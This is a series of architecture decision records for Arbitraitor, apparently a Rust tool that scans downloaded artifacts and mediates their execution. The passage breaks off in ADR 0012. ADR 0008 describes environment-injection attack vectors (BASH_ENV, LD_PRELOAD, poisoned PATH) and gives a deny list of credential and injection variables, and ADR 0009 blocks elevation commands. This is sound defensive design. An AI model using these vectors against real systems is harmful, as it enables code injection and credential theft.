0037Wasmtime CVE risk registerAccepted#463
0038Pipeline engine crate extraction and namingProposed
0039Receipt envelope structure (spec §31.1)Accepted#492

Format

# ADR NNNN: Title

**Status:** Accepted | Accepted | Superseded by ADR-XXXX | Rejected
**Date:** YYYY-MM-DD
**Issue:** #NN (GitHub issue this ADR resolves, if applicable)

## Context

Why this decision is needed.

## Decision

What was decided.

## Consequences

What follows from the decision.

## Alternatives considered

Options that were evaluated and rejected.

## References

Spec sections, advisories, standards, library docs.

ADR 0001: Rust 2024 and toolchain policy

Status: Accepted Date: 2026-06-16

Context

Arbitraitor is a security boundary written in Rust. The language choice, edition, and toolchain pin affect memory safety, build reproducibility, dependency compatibility, and CI correctness.

Decision

  • Language: Rust, 2024 edition.
  • Bootstrap toolchain: Rust 1.96.0, pinned in rust-toolchain.toml.
  • Workspace resolver: Cargo resolver 3 (resolver = "3").
  • Minimum Supported Rust Version (MSRV): 1.96 for pre-1.0 releases; a rolling six-month MSRV will be considered only after public API and downstream users exist.
  • Nightly: prohibited for production features; used only in isolated CI jobs (Miri, sanitizer testing).
  • Cargo.lock: committed for all crates in this monorepo.
  • Profiles:
    • release: codegen-units = 1, lto = "thin", panic = "abort", strip = "symbols".
    • release-with-debug: inherits release, debug = 1, strip = "none".
  • Lints: unsafe_code = "forbid" workspace-wide. Clippy all = deny, pedantic = warn, cargo = warn. unwrap_used, expect_used, panic, dbg_macro, print_stdout, print_stderr denied. Local exceptions allowed with justification.

Consequences

  • Security-sensitive dependencies (Wasmtime, YARA-X, TLS, parsers) can move quickly; pinning current stable avoids patch lag.
  • panic = "abort" is appropriate for the shipped CLI; reusable library crates must not rely on process abortion as error handling.
  • CI runs an additional job against current stable channel to detect drift.

Alternatives considered

  • Older MSRV (e.g., 1.80): Rejected. Creates patch lag for security deps with little benefit for a pre-1.0 project.
  • C or C++: Rejected. Memory safety risk in a security boundary.
  • Go: Rejected. Less control over memory layout, unsafe code isolation, and zero-cost abstractions needed for the analysis pipeline.

References

  • docs/spec/tech-stack.md §2 (Language and toolchain policy)
  • rust-toolchain.toml
  • Cargo.toml workspace section

ADR 0002: Workspace structure and crate boundaries

Status: Accepted Date: 2026-06-16

Context

Arbitraitor spans retrieval, storage, analysis, policy, execution, plugins, receipts, updates, and CLI presentation. Clear crate boundaries enforce the security invariant that no detector, parser, or plugin can call the release or execution layer directly.

Decision

Single monorepo with 25 workspace crates under crates/:

CrateResponsibilityI/O
arbitraitor-modelSerializable domain types (newtypes, enums, structs)None
arbitraitor-coreState machine orchestrator, invariant enforcementNone
arbitraitor-policyTOML policy → internal AST → verdictPolicy files only
arbitraitor-fetchHTTP retrieval behind Fetcher traitNetwork
arbitraitor-storeContent-addressed quarantine store (CAS)Filesystem
arbitraitor-artifactContent type identification and classificationRead-only
arbitraitor-analysisDetector coordinationRead-only
arbitraitor-shellPOSIX shell / Bash / Zsh static analysisRead-only
arbitraitor-powershellPowerShell static analysisRead-only
arbitraitor-yaraxYARA-X in-process scanningRead-only
arbitraitor-avClamAV / Defender adaptersSubprocess
arbitraitor-archiveArchive extraction under resource limitsFilesystem
arbitraitor-intelIntelligence feed matchingLocal files
arbitraitor-provenanceDigest pinning, signature verificationCrypto + subprocess
arbitraitor-execMediated execution brokerProcess spawning
arbitraitor-sandboxPlatform isolation adaptersPlatform APIs
arbitraitor-receiptReceipt creation, signing, queryFilesystem
arbitraitor-updateTUF-style signed update channelNetwork
arbitraitor-plugin-apiPlugin ABI types, WIT definitionsNone
arbitraitor-plugin-hostWasmtime host + subprocess fallbackSubprocess + WASM
arbitraitor-wrapperDownloader argument translationNone
arbitraitor-package-managerHomebrew / Arch lifecycle mediationSubprocess
arbitraitor-cliArgument parsing and presentation onlyTerminal
arbitraitor-testkitTest fixtures, mock servers, generatorsTest-only
arbitraitor-mcpMCP server for AI agent gatewayNetwork

Boundary rules:

  1. arbitraitor-model contains serializable domain types and no I/O.
  2. arbitraitor-core owns state transitions and invariants, not presentation.
  3. arbitraitor-fetch knows networking but not policy syntax.
  4. arbitraitor-policy consumes normalized facts and produces decisions only.
  5. arbitraitor-cli performs argument parsing and presentation only.
  6. Platform-specific code lives behind traits in dedicated modules.
  7. Plugin ABI types live in arbitraitor-plugin-api and WIT definitions.
  8. No detector may call the release or execution layer directly.
  9. No wrapper plugin may directly perform network I/O unless a narrowly documented mode requires it.

Publishing: most crates use publish = false. Only the CLI and (later) the plugin SDK will be published before 1.0.

Consequences

  • Compile-time enforcement of dependency direction (Cargo cannot prevent all cycles, but the boundary rules create clear review checkpoints).
  • unsafe_code = "forbid" in core policy, receipt, model, and state-machine crates. Required unsafe isolated in platform/FFI crates.
  • Cross-crate communication uses typed domain types from arbitraitor-model, never raw strings for hashes, URLs, paths, or policy IDs.

Alternatives considered

  • Multi-repo: Rejected for pre-1.0. Makes atomic security changes, versioning, and cross-platform CI harder.
  • Fewer, larger crates: Rejected. Weakens boundary enforcement and makes parallel development harder.
  • Dynamic plugin ABI (.so/.dylib/.dll): Rejected. Equivalent to core compromise. Plugins use Wasmtime or subprocess protocol only.

References

  • docs/spec/tech-stack.md §3 (Workspace and crate boundaries)
  • docs/spec/spec.md §38.1 (Rust workspace layout)
  • Cargo.toml workspace members

ADR 0003: reqwest behind Fetcher trait

Status: Accepted Date: 2026-06-16

Context

Arbitraitor needs an HTTP client for artifact retrieval. The choice affects TLS trust, redirect handling, decompression behavior, proxy semantics, and the ability to bind security policy to the actual connection (SSRF defense). No reqwest types should cross crate boundaries.

Decision

Use reqwest with Tokio and rustls for the MVP, hidden behind an internal Fetcher trait:

#![allow(unused)]
fn main() {
#[async_trait::async_trait]
pub trait Fetcher: Send + Sync {
    async fn fetch(
        &self,
        request: FetchRequest,
        sink: &mut dyn ArtifactSink,
    ) -> Result<FetchReceipt, FetchError>;
}
}

Exact-byte semantics:

  • Send Accept-Encoding: identity.
  • Disable reqwest’s automatic gzip, Brotli, deflate, and zstd response decoding.
  • Hash and store the HTTP representation bytes received after transfer framing.
  • If wrapper semantics request content decoding, store the encoded artifact and create a separately hashed decoded child artifact. Scan and execute the decoded child. Record both identities and the transformation edge.

TLS:

  • rustls with a policy-selectable verifier.
  • TLS 1.2 and 1.3 only.
  • Certificate validation mandatory; hostname validation mandatory.
  • No user-facing “ignore all TLS errors” shortcut.
  • Insecure modes require explicit policy and cannot be used for execution in enforcement mode.
  • Record peer certificate fingerprints and negotiated protocol.
  • A valid certificate is not publisher provenance.

Redirects: implemented in Arbitraitor policy, not accepted as reqwest defaults. See ADR 0018 for full redirect, SSRF, and proxy semantics.

Consequences

  • Preserves the option to use Hyper directly for a lower-level connector if reqwest cannot bind policy to the actual connection in the future.
  • No reqwest types cross crate boundaries.
  • Exact-byte identity is well-defined: what was hashed is what was scanned is what was executed.

Alternatives considered

  • Hyper direct: More control over connectors but more boilerplate. Deferred; the Fetcher trait allows migration.
  • ureq: Simpler, synchronous. Rejected—Tokio async is needed for streaming into CAS while hashing.
  • isahc (libcurl bindings): Rejected. C FFI in a security boundary adds attack surface.

References

  • docs/spec/tech-stack.md §4 (HTTP and transport stack)
  • docs/spec/spec.md §11 (Retrieval subsystem)
  • ADR 0018 — SSRF and proxy

ADR 0004: TOML for configuration and policy

Status: Accepted Date: 2026-06-16

Context

Arbitraitor needs a human-authored format for user configuration, organization policy, plugin manifests, and release configuration. The format must be deterministic, parseable without ambiguity, and suitable as a security policy language.

Decision

Use TOML with serde and the toml crate for all human-authored configuration and policy. Use JSON for machine protocols, receipts, findings, intelligence records, and SARIF output.

TOML is used for:

  • User configuration (~/.config/arbitraitor/config.toml)
  • Organization policy
  • Project policy (.arbitraitor.toml — untrusted, see ADR 0017)
  • Plugin manifests
  • Release configuration

YAML is explicitly rejected for Arbitraitor policy because:

  • Implicit typing (yes/no/null coercion).
  • Aliases and anchors expand the parsing surface.
  • Multiple interpretations of the same document.
  • The widely used serde_yaml crate is deprecated.
  • GitHub Actions requires YAML, but that does not require Arbitraitor itself to use it.

Policy engine uses a constrained declarative TOML schema compiled into an internal expression tree. No general scripting language (CEL, Rego, Cedar) is embedded for the MVP. This keeps the attack surface small, ensures deterministic evaluation, and simplifies explainability.

Consequences

  • Policy is statically typed and schema-validated before evaluation.
  • deny_unknown_fields enforced on security-critical input structures.
  • No YAML anywhere in Arbitraitor’s own configuration.
  • Future policy backends (CEL, Rego/OPA, Cedar, WASM) can be added behind the evaluator trait without changing the authoring format.

Alternatives considered

  • YAML: Rejected. Parsing surface, deprecated ecosystem, implicit typing.
  • JSON for human config: Rejected. No comments, verbose, error-prone for humans.
  • Dhall/Starlark: Rejected. Adds a language runtime to the security core.

References

  • docs/spec/tech-stack.md §6.1 (TOML for human-authored configuration)
  • docs/spec/spec.md §23 (Policy engine)

ADR 0005: redb as non-authoritative metadata index

Status: Accepted Date: 2026-06-16 Issue: #12

Context

Arbitraitor needs a metadata index to accelerate digest-to-metadata lookups, manage retention leases, and index receipts. The adversarial review (H-05) identified that a metadata database must never become an authorization oracle: no database row should be sufficient proof that an artifact was approved.

Decision

Use redb as the metadata index, with the explicit constraint that it is non-authoritative for all security decisions.

Storage layout:

store/
  objects/sha256/ab/cd/<digest>    ← artifact bytes (ordinary files)
  metadata.redb                     ← rebuildable index/cache
  staging/                          ← incomplete objects
  locks/                            ← per-digest leases
  receipts/                         ← immutable signed receipts

Authority model:

ComponentAuthoritative forStorage
CAS digest (SHA-256)Artifact identityDerived from bytes
Signed receiptsAudit trail, approval recordImmutable files
Policy evaluationRelease decisionsRe-evaluated on demand
redb metadataNothing (cache/index only)Rebuildable

Rules:

  1. A corrupted or missing metadata database fails closed (operation denied, doctor invoked).
  2. Approvals are bound to: policy digest, detector snapshot, artifact digest, operation, and expiry — not a database row.
  3. The database can be rebuilt from receipts and CAS objects.
  4. Per-digest leases (not a global lock) prevent concurrent operations.
  5. Incomplete staging objects are unaddressable.
  6. arbitraitor doctor reconciles orphaned staging, verifies CAS/metadata consistency, and clears stale locks.
  7. Migrations are transactional with backup before destructive changes.
  8. Metadata decoders are fuzzed.

Why redb:

  • Pure Rust (no C FFI in the security boundary).
  • ACID embedded key-value model.
  • Portable single-file storage.
  • Sufficient for digest-to-metadata, leases, retention, and receipt indexes.

A StoreIndex trait is kept so SQLite remains an option if ad-hoc querying and operational tooling become important. SQLite is not introduced solely for key-value lookups.

Consequences

  • Database corruption is a denial of service, not an execution bypass.
  • No query against the database can authorize release or execution.
  • Index rebuild is a recoverable operation.
  • Future migration to SQLite or another backend is possible behind the trait.

Alternatives considered

  • SQLite: Rejected initially. C FFI adds attack surface. Justified only if ad-hoc querying becomes a real need.
  • Sled: Rejected. Maintenance concerns and API churn.
  • In-memory only: Rejected. Cannot persist leases or retention across runs.
  • Filesystem-only (no DB): Rejected. Linear scans for digest lookup are too slow at scale.

References

  • docs/spec/tech-stack.md §5 (Filesystem and content-addressed store)
  • docs/spec/spec.md H-05 (Metadata as authorization oracle)
  • ADR 0013 — Approval binds to plan, not digest alone

ADR 0006: Wasmtime Component Model for plugins

Status: Accepted Date: 2026-06-16

Context

Arbitraitor needs a plugin system for downloaders, shell adapters, detectors, intelligence providers, sandbox adapters, and provenance verifiers. Plugins run untrusted or semi-trusted code. In-process dynamic libraries (.so, .dylib, .dll) would make plugin compromise equivalent to core compromise.

Decision

Use Wasmtime Component Model with WIT interfaces as the primary plugin runtime. WASI Preview 2 is the baseline. Do not build around experimental WASI Preview 3 behavior.

Separate WIT worlds (not one universal interface):

arbitraitor:plugin/wrapper       — downloader argument translation
arbitraitor:plugin/detector      — artifact analysis, returns findings
arbitraitor:plugin/intelligence   — indicator lookup
arbitraitor:plugin/provenance    — signature/attestation verification

A downloader argument parser does not automatically gain detector or network capabilities.

Default plugin instance sandbox:

ControlValue
NetworkNone
Ambient filesystemNone
Inherited environmentNone
ClockDeterministic or host-provided only when requested
MemoryBounded
Table countBounded
Fuel/epoch interruptionEnabled
Total execution deadlineEnforced
Output sizeLimited
Dynamic loadingProhibited
Artifact pathsOpaque read capability only (no raw paths)
Host-call deadlinePer-call, with cancellation
Host-call countBounded
Host-call output sizeBounded

Critical limitation: fuel and epoch interruption do not stop a guest blocked inside a host call. Therefore every host function must have its own deadline and cancellation — no host function may perform unbounded blocking work.

Subprocess fallback: some integrations (platform AV, package managers) require native subprocesses. Use a framed protocol (length-prefixed JSON). Controls: absolute executable path, expected binary digest, clean environment, closed inherited descriptors, process group/Job Object, timeout, kill-tree, output/memory limits, no shell interpolation.

No native dynamic plugin ABI is supported initially.

Consequences

  • Plugins are memory-isolated from the host process.
  • Capability-based access: each plugin world grants only what its role needs.
  • Community plugins default to disabled in enforcement mode (see ADR 0011).
  • WIT packages are versioned semantically; compatibility fixtures and generated bindings checked in CI.
  • Subprocess plugins are capability-restricted and auditable.

Alternatives considered

  • Native dynamic libraries (.so/.dylib/.dll): Rejected. Same memory authority as core; plugin compromise = core compromise.
  • Embedded scripting language (Lua, Rhai): Rejected. Adds language runtime attack surface; not memory-isolated.
  • Process-per-plugin only (no WASM): Rejected for MVP. Startup overhead and IPC complexity for small plugins. WASM provides isolation with lower overhead.

References

ADR 0007: Assurance levels model

Status: Accepted Date: 2026-06-16 Issue: #2

Context

The original specification protected artifact identity (SHA-256, single retrieval, immutable CAS) but did not sufficiently protect the execution context. A benign scanned script can be turned malicious by inherited environment variables, shell startup files, a poisoned PATH, a replaced interpreter, inherited file descriptors, unrestricted network access, or an attacker-controlled working directory.

The adversarial review (C-01, C-02) identified this as the most critical gap: artifact integrity is stronger than execution-context integrity.

Decision

Define three user-visible assurance levels. Every run operation must record which level was in effect. Receipts record each effective control independently.

Level 1: Inspect

Retrieval, hashing, identification, scanning, and reporting. No execution.

Guarantees:

  • Complete buffering before verdict.
  • Exact artifact identity (SHA-256).
  • Configured static and reputation checks.
  • Payload graph discovery.

No runtime claim is made. The artifact was never executed.

Level 2: Mediated execution

The exact approved artifact is executed in a deliberately constructed process context.

Mandatory controls:

ControlRequirement
ArtifactApproved immutable CAS object
InterpreterPinned or revalidated immediately before invocation
EnvironmentAllowlisted (not inherited)
Interpreter profilesDisabled (--noprofile --norc, -NoProfile)
Home directoryTemporary
Working directoryTemporary
Inherited descriptorsClosed
Privilege elevationDenied
NetworkDenied by default
PATHControlled
Platform provenancePreserved or added

This reduces risk but is not a sandbox guarantee. If any control is unavailable or relaxed by policy, the assurance level must be reported as degraded — never presented as equivalent to full mediation.

Level 3: Contained execution

Mediated execution plus a verified platform isolation profile.

Additional mandatory controls:

ControlRequirement
Filesystem isolationEnforced (chroot, namespace, AppContainer, etc.)
Process-tree containmentEnforced
Network policyEnforced (namespace, filter, broker)
Resource limitsEnforced
Privilege suppressionno-new-privileges or platform equivalent
Capability probeProves required controls are active
Fail-closedWhen requested containment is unavailable

Platform capability matrix (recorded per-control in receipt):

filesystem isolation:   enforced | partial | unavailable
network isolation:      enforced | partial | unavailable
process-tree control:   enforced | partial | unavailable
privilege suppression:  enforced | partial | unavailable
system-call filtering:  enforced | partial | unavailable
registry/settings iso:  enforced | partial | unavailable

This is never collapsed into a single sandboxed = true boolean.

Verdict language

The verdict must reference the effective assurance level. Examples:

PASS (inspect) — static analysis complete, no execution performed.
PASS (mediated) — executed with clean environment, network denied.
WARN (mediated) — executed with network enabled (policy exception).
INCOMPLETE (contained) — requested Landlock unavailable; fell back to mediated.

The label “safe” is prohibited. Recommended labels: low observed risk, elevated observed risk, high observed risk, blocked by policy, analysis incomplete, unrestricted runtime.

Consequences

  • Users and automation can distinguish static inspection from controlled execution from contained execution.
  • A clean static scan with unrestricted network is not presented as equivalent to contained, network-denied execution.
  • Receipts carry the capability matrix, enabling downstream auditors to verify what controls were actually in effect.
  • macOS initially supports inspect and mediated only (no contained parity claim) — see ADR 0008.

Alternatives considered

  • Binary safe/unsafe verdict: Rejected. Same content may be appropriate in a disposable container and unacceptable on a workstation with SSH keys.
  • Single sandboxed boolean: Rejected. Hides which controls were effective.
  • Numeric risk score: Rejected for MVP. Easy to game, encourages false equivalence. Presentation-only score may be reconsidered after calibration data exists.

References

  • docs/spec/spec.md §3.11 (Assurance levels)
  • docs/spec/spec.md §2 (Recommended assurance model), C-01, C-02
  • docs/spec/tech-stack.md §9 (Execution-context security)

ADR 0008: Execution context security profile

Status: Accepted Date: 2026-06-16 Issue: #3

Context

The adversarial review (C-01) documented concrete attack vectors that exploit the gap between artifact integrity and execution-context integrity:

  • BASH_ENV points to an attacker-controlled file that Bash reads before the approved script.
  • LD_PRELOAD or DYLD_* injects code into the interpreter.
  • A poisoned PATH causes curl, tar, git, or sudo inside the script to resolve to a malicious binary.
  • SSH_AUTH_SOCK, cloud credentials, browser sockets, or inherited descriptors remain accessible.
  • The interpreter path is replaced after it is checked (TOCTOU).
  • The working directory contains attacker-controlled configuration loaded by Git, Python, Node, Ruby, or another tool.

Decision

A clean, allowlisted execution profile is mandatory for all run operations at the mediated assurance level.

1. Environment: allowlist, not denylist

The execution environment is constructed from scratch. Only explicitly allowed variables are present.

Default allowed: LANG, LC_ALL, TERM, PATH (controlled).

Explicitly removed or controlled (non-exhaustive):

BASH_ENV, ENV, ZDOTDIR, SHELLOPTS, CDPATH, GLOBIGNORE
LD_PRELOAD, LD_LIBRARY_PATH
DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH, DYLD_FRAMEWORK_PATH
PYTHONPATH, PYTHONSTARTUP, PYTHONINSPECT, PYTHONHOME
NODE_OPTIONS, NODE_PATH
RUBYOPT, RUBYLIB
PERL5OPT, PERL5LIB
GIT_CONFIG_GLOBAL, GIT_CONFIG_SYSTEM, GIT_CONFIG_NOSYSTEM
SSH_AUTH_SOCK, SSH_AUTHORIZATION
AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, AWS_*
AZURE_*, GOOGLE_*, GITHUB_*, NPM_CONFIG_*, PIP_CONFIG_FILE
CARGO_HOME, RUSTC_WRAPPER, RUSTFLAGS

Policy may extend the allowlist but may not remove mandatory deny entries.

2. Interpreter non-profile mode

InterpreterFlags
Bash--noprofile --norc
Zsh-f (no rc files), unset ZDOTDIR
PowerShell-NoProfile
Python-E (ignore PYTHON* env), -s (no user site)
Node.js(no --require from env; NODE_OPTIONS stripped)

Behavior that requires user profiles is an explicit lower-assurance exception requiring policy approval.

3. Descriptor-pinned execution

Linux: prefer fexecve/execveat using an immutable file descriptor. Open the interpreter, verify its identity, then exec from the descriptor. This eliminates the TOCTOU window between path check and exec.

Other platforms: open and revalidate the executable immediately before process creation. Record the remaining race limitation in the receipt.

4. Temporary home and working directory

By default:

  • HOME → temporary directory created with 0700 permissions.
  • Working directory → separate temporary directory.
  • Policy may specify known-safe paths or grant access to specific directories.

5. Controlled PATH

The execution PATH contains only:

  • The system’s trusted binary directories (/usr/bin, /usr/local/bin — policy-defined).
  • Explicitly granted directories.

No user bin, no node_modules/.bin, no current directory.

6. Closed inherited file descriptors

All non-essential file descriptors are set to O_CLOEXEC before process creation. Only stdin, stdout, and stderr are inherited (and stdin may be replaced with /dev/null for non-interactive runs).

7. No privilege elevation

  • sudo, su, doas, pkexec, UAC elevation are blocked by default in mediated execution.
  • The main Arbitraitor process never runs as root/administrator.
  • See ADR 0009.

8. Network denied by default

Network access during execution is denied by default. Enabling network is an explicit policy decision that lowers the assurance label:

PASS (mediated, network=denied)     ← default
PASS (mediated, network=enabled)    ← policy exception, lower trust

Unrestricted runtime network defeats transitive scanning: static second-stage discovery cannot prove that all runtime downloads were found. If the executed script has unrestricted network access, it can retrieve content from generated URLs, DNS-based endpoints, or benign-looking helper tools after approval.

Future stronger mode: an egress broker that intercepts, buffers, scans, and releases child downloads:

child process → network namespace/filter → Arbitraitor egress broker
  → URL/address policy → buffered child artifact → scan → release to child

Until such a broker exists, Arbitraitor reports:

Static analysis passed. Runtime network access is unrestricted.
Transitive payload coverage is incomplete.

TOML policy structure

[execution]
assurance = "mediated"
inherit_environment = false
home_directory = "temporary"
working_directory = "temporary"
network = "deny"
allow_privilege_elevation = false
close_inherited_descriptors = true
disable_interpreter_profiles = true

[execution.allow_environment]
names = ["LANG", "LC_ALL", "TERM"]

[execution.deny_environment]
# Additional deny patterns beyond the mandatory set
patterns = []

Consequences

  • A scanned-and-approved script cannot be weaponized by manipulating the execution environment.
  • Static analysis findings remain meaningful because the executed code runs in the context that was analyzed (no hidden profile files, no injected env vars).
  • Network-denied default means transitive payload coverage claims are honest.
  • Some legitimate scripts that require network or specific env vars will require explicit policy exceptions — this is intentional.

Alternatives considered

  • Denylist instead of allowlist: Rejected. New dangerous variables are discovered regularly; an allowlist is safer.
  • Inherit environment with sanitization: Rejected. Too easy to miss a variable class.
  • Full containerization for all execution: Deferred to contained mode. Mediated mode provides strong guarantees without requiring platform isolation support.

References

  • docs/spec/spec.md §26 (Release and execution), §26.5 (Environment controls)
  • docs/spec/spec.md C-01, C-02
  • ADR 0007 — Assurance levels
  • ADR 0009 — Privilege separation

ADR 0009: Privilege separation and no-root invariant

Status: Accepted Date: 2026-06-16 Issue: #4

Context

Installers often request sudo, su, doas, pkexec, or administrator rights. Running Arbitraitor itself as root would expose parsers, archive handlers, AV adapters, and plugin hosts to root-level compromise. The adversarial review (C-04) identified this as underspecified.

Decision

Invariant

Arbitraitor analysis, parsing, rule evaluation, and plugin execution must never require elevated privileges.

Default behavior

  1. Block elevation requests: sudo, su, doas, pkexec, UAC elevation, and equivalent operations are blocked during mediated execution by default.
  2. Never inherit elevated tokens: If Arbitraitor is started with root/admin privileges, it refuses to run unless in a narrowly defined diagnostic mode (--allow-root, explicitly logged).
  3. Main process is unprivileged: Retrieval, parsing, scanning, plugin execution, and policy evaluation run as the normal user.

Privileged helper (future, specified now)

If a future operation requires system modification (e.g., installing a package system-wide), a separately installed minimal privileged helper is used:

PropertyRequirement
Accepted inputImmutable artifact digests + declarative operations only
Rejected inputArbitrary command strings, untrusted archives, scripts, policy, plugin output
NetworkNone
ParsersNone
AuthenticationAuthenticated local requests only
RevalidationImmediately before the privileged operation
AuditEvery operation recorded in the receipt
ScopeNo general shell-command endpoint

The helper receives declarative operations (e.g., “install package sha256:abc... to /usr/local”), not command strings. It revalidates authorization immediately before performing the operation.

Package installation strategy

For package installation, prefer handing an already built and inspected package to the native package manager rather than elevating an arbitrary installer script:

arbitraitor fetch + inspect package artifact
  → arbitraitor approves the inspected artifact
  → privileged helper invokes: pacman -U <local-package-file>
  → NOT: sudo ./install.sh

Consequences

  • A compromise of Arbitraitor’s parsers or plugins does not yield root.
  • Installer scripts that invoke elevation are detected by script analysis and blocked by default in mediated execution.
  • The privileged helper, if implemented, has a minimal attack surface (no parsers, no network, no plugins).
  • Package-manager lifecycle mediation can model the hand-off to the native package manager as a “delegated” stage in the coverage report.

Alternatives considered

  • Run as root with internal sandboxing: Rejected. Kernel escape from a sandbox running as root is catastrophic.
  • setuid binary: Rejected. Classic privilege-escalation attack vector.
  • No privileged helper ever: Accepted for MVP. Package installation that requires elevation is reported as “delegated, not mediated” in the coverage report. The helper is specified but deferred.

References

  • docs/spec/spec.md §9.16 (No elevated analysis), §26.6 (Privilege boundary)
  • docs/spec/spec.md C-04
  • ADR 0008 — Execution context

ADR 0010: Platform provenance preservation

Status: Accepted Date: 2026-06-16 Issue: #5

Context

The original v0.3 specification permitted optional removal of operating-system quarantine metadata. macOS uses quarantine information (com.apple.quarantine) as part of Gatekeeper behavior. Windows uses the Zone.Identifier alternate data stream (Mark of the Web / MOTW) which feeds SmartScreen and other protections.

The adversarial review (C-05) identified that silently removing these markers disables platform defenses.

Decision

Preserve or add platform provenance markers. Never silently remove them.

macOS

  • Attach or preserve com.apple.quarantine extended attribute for artifacts released to the filesystem that were retrieved from the Internet.
  • The quarantine attribute includes the agent name, bundle ID, timestamp, and serialization of the download URL where policy permits.
  • Preserve code signatures and notarization metadata.
  • An explicit, audited unquarantine operation is available only if the user deliberately requests it and policy permits. It is logged in the receipt.

Implementation: use xattr_set / fsetxattr to attach com.apple.quarantine with a format like:

com.apple.quarantine: 0083;<timestamp>;arbitraitor;<download-url-hash>

Windows

  • Attach or preserve Mark of the Web (Zone.Identifier alternate data stream) for artifacts released to the filesystem.
  • Include the ZoneId (3 = Internet), ReferrerUrl, and HostUrl where policy permits.
  • Preserve Authenticode signatures.
  • Never silently clear Zone.Identifier.

Implementation: write to file:Zone.Identifier:$DATA using NTFS alternate data streams via the Windows API.

Cross-platform abstraction

A trait in arbitraitor-exec (or a dedicated platform module) provides:

#![allow(unused)]
fn main() {
pub trait ProvenanceMarker {
    /// Attach or preserve platform download provenance for the given path.
    fn apply(&self, path: &Path, source: &ProvenanceSource) -> Result<()>;

    /// Check whether provenance markers are present.
    fn verify(&self, path: &Path) -> Result<ProvenanceStatus>;
}

pub struct ProvenanceSource {
    pub download_url: Option<RedactedUrl>,
    pub retriever_version: &'static str,
    pub timestamp: SystemTime,
}
}

Archive extraction

Files created by archive extraction inherit provenance markers according to platform behavior. Propagation limitations are documented:

  • ZIP entries do not carry macOS quarantine attributes.
  • NTFS Zone.Identifier is not per-entry in standard archives.
  • Arbitraitor applies provenance markers to extracted files that are subsequently released, not to files only inspected in the staging directory.

Consequences

  • Platform defenses (Gatekeeper, SmartScreen) remain active for artifacts released by Arbitraitor.
  • A user who downloads a malicious script through Arbitraitor and then double-clicks it still gets the OS-level warning.
  • The receipt records whether provenance markers were applied.
  • An explicit unquarantine is available but audited and never default.

Alternatives considered

  • Optional removal (v0.3 spec): Rejected. Disables platform defenses silently.
  • Always strip and rely on Arbitraitor’s own analysis: Rejected. Defense in depth — OS-level controls should complement, not be replaced by, Arbitraitor.
  • Never touch provenance at all: Partially accepted. Arbitraitor preserves existing markers but may need to add them when the original download did not carry them (e.g., when acting as a proxy for another downloader).

References

ADR 0011: Plugin trust classification model

Status: Accepted Date: 2026-06-16 Issue: #6

Context

The adversarial review (C-03) identified that wrapper plugins are part of the extended trusted computing base. The core can validate a plan’s shape, but it cannot prove that a plugin faithfully represented the original command.

A malicious or buggy wrapper can:

  • Omit a URL or redirect-affecting option.
  • Mishandle authentication scope.
  • Falsely label a partial translation as exact.
  • Hide an upload or side effect.
  • Delegate to the original tool after scanning a different artifact.
  • Omit package-manager lifecycle stages.

Decision

Classify plugins by security role. Each class has different trust, capability, and enforcement properties.

Plugin classes

ClassTCBWhat it doesEnforcement default
Evidence-only detectorNot in verdict TCBProduces findings (policy inputs)Allowed
Semantic translator (wrapper)Extended TCBControls what operation the core performsAdvisory or disabled in enforce mode
Execution/package adapterExtended TCBControls process and lifecycle boundariesFirst-party only in enforce mode
UI extensionProhibited initially

Evidence-only detectors

Examples: YARA-X, antivirus adapters, binary metadata analyzers, language analyzers.

  • Findings are policy inputs, never direct verdicts.
  • A detector cannot authorize release or suppress another detector’s findings.
  • Community detectors are allowed but their findings carry the source’s confidence and provenance.

Semantic translators (wrappers)

Examples: curl wrapper, wget wrapper, shell execution adapters.

  • Extended TCB: the core depends on the wrapper faithfully representing the original tool invocation.
  • Community semantic translators default to advisory or disabled in enforcement mode.
  • First-party wrappers require:
    • Conformance tests (must pass official conformance suite for the command shape).
    • Exact version ranges for the wrapped tool.
    • Signed provenance.
    • Independent review.

Execution and package adapters

Examples: shell executors, Homebrew adapter, Arch adapter.

  • Extended TCB: controls process creation, lifecycle, and child-process boundaries.
  • In enforcement mode, only first-party or explicitly trusted adapters are permitted.
  • Package-manager adapters report coverage per stage (resolution, metadata, source downloads, build, package artifact, install hooks, final installation). A plugin must not hide an unmediated build or install stage.

UI extensions

Prohibited initially. Plugins return structured fields only; the core owns all user-facing rendering. This prevents:

  • Terminal control sequence injection by plugins.
  • Phishing through fake approval prompts.
  • Confusion of reviewer by plugin-generated UI elements.

Capability and permission model

Capabilities (what a plugin can request the core to do):
  - parse_argv
  - resolve_original_executable
  - read_tool_version
  - request_secret_reference (without reading the secret value)
  - read_immutable_artifact (opaque read handle)
  - emit_findings
  - request_network_operation (through core)
  - request_sandbox_execution
  - request_package_manager_delegation

Permissions (what a plugin can directly access):
  - network: false by default
  - filesystem read/write: scoped paths only
  - environment variable names: explicit list
  - process execution: false by default
  - terminal rendering: false always

Community plugins receive no network, no process execution, no arbitrary filesystem access, and no terminal-rendering authority by default.

Semantic confidence

Every wrapper translation states one of:

LevelMeaning
exactSupported semantics fully represented
equivalentBehavior differs in non-security-relevant ways
partialSome options or side effects not modeled
opaquePlugin cannot determine the operation safely

Policy defaults:

[wrappers]
minimum_semantic_confidence = "exact"
allow_equivalent = "prompt"
partial = "block"
opaque = "block"

A plugin may not label a translation exact unless it passes the official conformance suite for that command shape.

Consequences

  • Evidence-only detectors from the community are safe to run — their output is just policy input.
  • Wrappers and execution adapters from untrusted sources cannot silently alter operations in enforcement mode.
  • The plugin ecosystem has clear trust tiers that users can reason about.
  • Adding a new wrapper plugin requires conformance testing, not just code review.

Alternatives considered

  • All plugins are equal, core validates everything: Rejected. The core cannot validate semantic fidelity of a translation it didn’t perform.
  • No plugins at all: Rejected. Limits extensibility for detectors and intelligence providers that don’t affect the TCB.
  • Full plugin UI rendering: Rejected. Creates terminal injection and phishing channels.

References

  • docs/spec/spec.md C-03
  • docs/spec/spec.md §39 (Plugin, wrapper, and adapter system)
  • ADR 0006 — Plugin runtime

ADR 0012: TUF implementation selection

Status: Accepted Date: 2026-06-16 Issue: #7

Context

Arbitraitor needs signed update channels for rule packs, intelligence feeds, trust-root metadata, and plugin registry metadata. The Update Framework (TUF) provides the right security model: offline root keys, threshold signatures, role separation, rollback protection, expiration, freeze-attack resistance, and consistent snapshots.

AWS security bulletin 2026-019 disclosed multiple vulnerabilities in tough (the Rust TUF implementation) before version 0.22.0:

  • Delegated-role signature threshold bypass.
  • Missing delegated metadata validation.
